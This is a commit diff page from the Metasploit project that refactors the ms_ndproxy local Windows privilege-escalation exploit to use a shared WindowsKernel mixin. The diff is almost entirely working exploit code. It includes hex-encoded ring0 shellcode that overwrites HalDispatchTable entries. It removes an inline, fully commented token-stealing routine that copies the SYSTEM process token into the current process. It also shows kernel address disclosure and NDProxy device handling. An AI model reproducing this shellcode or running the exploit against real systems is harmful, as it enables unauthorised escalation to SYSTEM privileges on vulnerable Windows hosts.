Skip to content

Commit 86e2377

Browse files
committed
Switch ms_ndproxy to use the new WindowsKernel mixin
1 parent 58d2916 commit 86e2377

File tree

1 file changed

+7
-117
lines changed

1 file changed

+7
-117
lines changed

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 7 additions & 117 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,13 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/exploit/local/windows_kernel'
78
require 'rex'
89

910
class Metasploit3 < Msf::Exploit::Local
1011
Rank = AverageRanking
1112

13+
include Msf::Exploit::Local::WindowsKernel
1214
include Msf::Post::File
1315
include Msf::Post::Windows::Priv
1416
include Msf::Post::Windows::Process
@@ -84,89 +86,14 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
8486
'DisclosureDate'=> 'Nov 27 2013',
8587
'DefaultTarget' => 0
8688
}))
87-
88-
end
89-
90-
def add_railgun_functions
91-
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
92-
session.railgun.add_function(
93-
'psapi',
94-
'EnumDeviceDrivers',
95-
'BOOL',
96-
[
97-
["PBLOB", "lpImageBase", "out"],
98-
["DWORD", "cb", "in"],
99-
["PDWORD", "lpcbNeeded", "out"]
100-
])
101-
session.railgun.add_function(
102-
'psapi',
103-
'GetDeviceDriverBaseNameA',
104-
'DWORD',
105-
[
106-
["LPVOID", "ImageBase", "in"],
107-
["PBLOB", "lpBaseName", "out"],
108-
["DWORD", "nSize", "in"]
109-
])
110-
end
111-
112-
def open_device(dev)
113-
114-
invalid_handle_value = 0xFFFFFFFF
115-
116-
r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)
117-
118-
handle = r['return']
119-
120-
if handle == invalid_handle_value
121-
return nil
122-
end
123-
124-
return handle
125-
end
126-
127-
def find_sys_base(drvname)
128-
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
129-
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
130-
131-
addresses.each do |address|
132-
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
133-
current_drvname = results['lpBaseName'][0..results['return'] - 1]
134-
if drvname == nil
135-
if current_drvname.downcase.include?('krnl')
136-
return [address, current_drvname]
137-
end
138-
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
139-
return [address, current_drvname]
140-
end
141-
end
142-
143-
return nil
14489
end
14590

14691
def ring0_shellcode(t)
14792
restore_ptrs = "\x31\xc0" # xor eax, eax
14893
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
14994
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
15095

151-
tokenstealing = "\x52" # push edx # Save edx on the stack
152-
tokenstealing << "\x53" # push ebx # Save ebx on the stack
153-
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
154-
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
155-
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
156-
tokenstealing << "\x8b\xc8" # mov ecx, eax
157-
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
158-
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
159-
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
160-
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
161-
tokenstealing << "\x75\xe8" # jne 0000101e ======================
162-
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
163-
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
164-
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
165-
tokenstealing << "\x5b" # pop ebx # Restores ebx
166-
tokenstealing << "\x5a" # pop edx # Restores edx
167-
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
168-
169-
ring0_shellcode = restore_ptrs + tokenstealing
96+
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
17097
return ring0_shellcode
17198
end
17299

@@ -211,33 +138,8 @@ def create_proc
211138
def disclose_addresses(t)
212139
addresses = {}
213140

214-
vprint_status("Getting the Kernel module name...")
215-
kernel_info = find_sys_base(nil)
216-
if kernel_info.nil?
217-
vprint_error("Failed to disclose the Kernel module name")
218-
return nil
219-
end
220-
vprint_good("Kernel module found: #{kernel_info[1]}")
221-
222-
vprint_status("Getting a Kernel handle...")
223-
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
224-
kernel32_handle = kernel32_handle['return']
225-
if kernel32_handle == 0
226-
vprint_error("Failed to get a Kernel handle")
227-
return nil
228-
end
229-
vprint_good("Kernel handle acquired")
230-
231-
232-
vprint_status("Disclosing the HalDispatchTable...")
233-
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
234-
hal_dispatch_table = hal_dispatch_table['return']
235-
if hal_dispatch_table == 0
236-
vprint_error("Failed to disclose the HalDispatchTable")
237-
return nil
238-
end
239-
hal_dispatch_table -= kernel32_handle
240-
hal_dispatch_table += kernel_info[0]
141+
hal_dispatch_table = find_haldispatchtable
142+
return nil if hal_dispatch_table.nil?
241143
addresses["halDispatchTable"] = hal_dispatch_table
242144
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
243145

@@ -257,16 +159,12 @@ def disclose_addresses(t)
257159
return addresses
258160
end
259161

260-
261162
def check
262-
vprint_status("Adding the railgun stuff...")
263-
add_railgun_functions
264-
265163
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
266164
return Exploit::CheckCode::Detected
267165
end
268166

269-
handle = open_device("\\\\.\\NDProxy")
167+
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
270168
if handle.nil?
271169
return Exploit::CheckCode::Safe
272170
end
@@ -289,10 +187,6 @@ def check
289187
end
290188

291189
def exploit
292-
293-
vprint_status("Adding the railgun stuff...")
294-
add_railgun_functions
295-
296190
if sysinfo["Architecture"] =~ /wow64/i
297191
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
298192
elsif sysinfo["Architecture"] =~ /x64/
@@ -322,7 +216,7 @@ def exploit
322216
end
323217

324218
print_status("Checking device...")
325-
handle = open_device("\\\\.\\NDProxy")
219+
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
326220
if handle.nil?
327221
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
328222
else
@@ -409,9 +303,5 @@ def exploit
409303
else
410304
fail_with(Failure::Unknown, "Error while executing the payload")
411305
end
412-
413-
414306
end
415-
416307
end
417-

0 commit comments

Comments
 (0)